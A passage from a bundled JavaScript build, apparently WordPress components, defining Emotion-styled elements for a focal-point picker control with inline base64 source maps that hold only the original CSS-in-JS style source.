1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */"));
41495 var MediaPlaceholder = /* @__PURE__ */ createStyled("div", false ? {
41496 target: "eeew7dm6"
41497 } : {
41498 target: "eeew7dm6",
41499 label: "MediaPlaceholder"
41500 })("background:", COLORS.gray[100], ";border-radius:inherit;box-sizing:border-box;height:", INITIAL_BOUNDS.height, "px;max-width:280px;min-width:", INITIAL_BOUNDS.width, "px;width:100%;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxRTBDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */"));
41501 var StyledUnitControl2 = /* @__PURE__ */ createStyled(unit_control_default, false ? {
41502 target: "eeew7dm5"
41503 } : {
41504 target: "eeew7dm5",
41505 label: "StyledUnitControl"
41506 })(false ? {
41507 name: "1d3w5wq",
41508 styles: "width:100%"
41509 } : {
41510 name: "1d3w5wq",
41511 styles: "width:100%/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErRXNEIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */",
41512 toString: _EMOTION_STRINGIFIED_CSS_ERROR__32
41513 });
41514 var _ref8 = false ? {
41515 name: "1mn7kwb",
41516 styles: "padding-bottom:1em"
41517 } : {
41518 name: "ho4pgl-extraHelpTextMargin",
41519 styles: "padding-bottom:1em;label:extraHelpTextMargin;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1Rk8iLCJmaWxlIjoiZm9jYWwtcG9pbnQtcGlja2VyLXN0eWxlLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBGbGV4IH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgVW5pdENvbnRyb2wgZnJvbSAnLi4vLi4vdW5pdC1jb250cm9sJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi8uLi92aWV3JztcbmltcG9ydCB7IENPTE9SUywgQ09ORklHLCBib3hTaXppbmdSZXNldCwgZm9udCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgeyBJTklUSUFMX0JPVU5EUyB9IGZyb20gJy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRib3JkZXI6IDA7XG5cdHBhZGRpbmc6IDA7XG5cdG1hcmdpbjogMDtcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVkaWFXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgTWVkaWFDb250YWluZXIgPSBzdHlsZWQuZGl2YFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdG1hcmdpbjogYXV0bztcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRoZWlnaHQ6IDEwMCU7XG5cblx0JjphZnRlciB7XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3R0b206IDA7XG5cdFx0Ym94LXNoYWRvdzogaW5zZXQgMCAwIDAgMXB4IHJnYmEoIDAsIDAsIDAsIDAuMSApO1xuXHRcdGNvbnRlbnQ6ICcnO1xuXHRcdGxlZnQ6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblx0fVxuXG5cdGltZyxcblx0dmlkZW8ge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRoZWlnaHQ6IGF1dG87XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG1heC1oZWlnaHQ6IDEwMCU7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXHRcdHdpZHRoOiAxMDAlO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVkaWFQbGFjZWhvbGRlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQ6ICR7IENPTE9SUy5ncmF5WyAxMDAgXSB9O1xuXHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRoZWlnaHQ6ICR7IElOSVRJQUxfQk9VTkRTLmhlaWdodCB9cHg7XG5cdG1heC13aWR0aDogMjgwcHg7XG5cdG1pbi13aWR0aDogJHsgSU5JVElBTF9CT1VORFMud2lkdGggfXB4O1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRVbml0Q29udHJvbCA9IHN0eWxlZCggVW5pdENvbnRyb2wgKWBcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5jb25zdCBleHRyYUhlbHBUZXh0TWFyZ2luID0gKCB7XG5cdGhhc0hlbHBUZXh0ID0gZmFsc2UsXG59OiBGb2NhbFBvaW50UGlja2VyQ29udHJvbHNQcm9wcyApID0+IHtcblx0cmV0dXJuIGhhc0hlbHBUZXh0XG5cdFx0PyBjc3NgXG5cdFx0XHRcdHBhZGRpbmctYm90dG9tOiAxZW07XG5cdFx0ICBgXG5cdFx0OiB1bmRlZmluZWQ7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0cGFkZGluZy10b3A6IDFlbTtcblxuXHQkeyBleHRyYUhlbHBUZXh0TWFyZ2luIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcmlkVmlldyA9IHN0eWxlZC5kaXZgXG5cdGxlZnQ6IDUwJTtcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA1MCU7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlM2QoIC01MCUsIC01MCUsIDAgKTtcblx0ei1pbmRleDogMTtcblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOiBvcGFjaXR5IDEwMG1zIGxpbmVhcjtcblx0fVxuXG5cdG9wYWNpdHk6ICR7ICggeyBzaG93T3ZlcmxheSB9OiB7IHNob3dPdmVybGF5PzogYm9vbGVhbiB9ICkgPT5cblx0XHRzaG93T3ZlcmxheSA/IDEgOiAwIH07XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmUgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAyNTUsIDI1NSwgMjU1LCAwLjQgKTtcblx0YmFja2Ryb3AtZmlsdGVyOiBibHVyKCAxNnB4ICkgc2F0dXJhdGUoIDE4MCUgKTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVooIDAgKTtcbmA7XG5cbmV4cG9ydCBjb25zdCBHcmlkTGluZVggPSBzdHlsZWQoIEdyaWRMaW5lIClgXG5cdGhlaWdodDogMXB4O1xuXHRsZWZ0OiAxcHg7XG5cdHJpZ2h0OiAxcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVZID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHR3aWR0aDogMXB4O1xuXHR0b3A6IDFweDtcblx0Ym90dG9tOiAxcHg7XG5gO1xuIl19 */",
41520 toString: _EMOTION_STRINGIFIED_CSS_ERROR__32
41521 };
41522 var extraHelpTextMargin = ({
41523 hasHelpText = false
41524 }) => {
41525 return hasHelpText ? _ref8 : void 0;
41526 };
41527 var ControlWrapper = /* @__PURE__ */ createStyled(component_default3, false ? {
41528 target: "eeew7dm4"
41529 } : {
41530 target: "eeew7dm4",
41531 label: "ControlWrapper"
41532 })("max-width:320px;padding-top:1em;", extraHelpTextMargin, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2RjRDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyB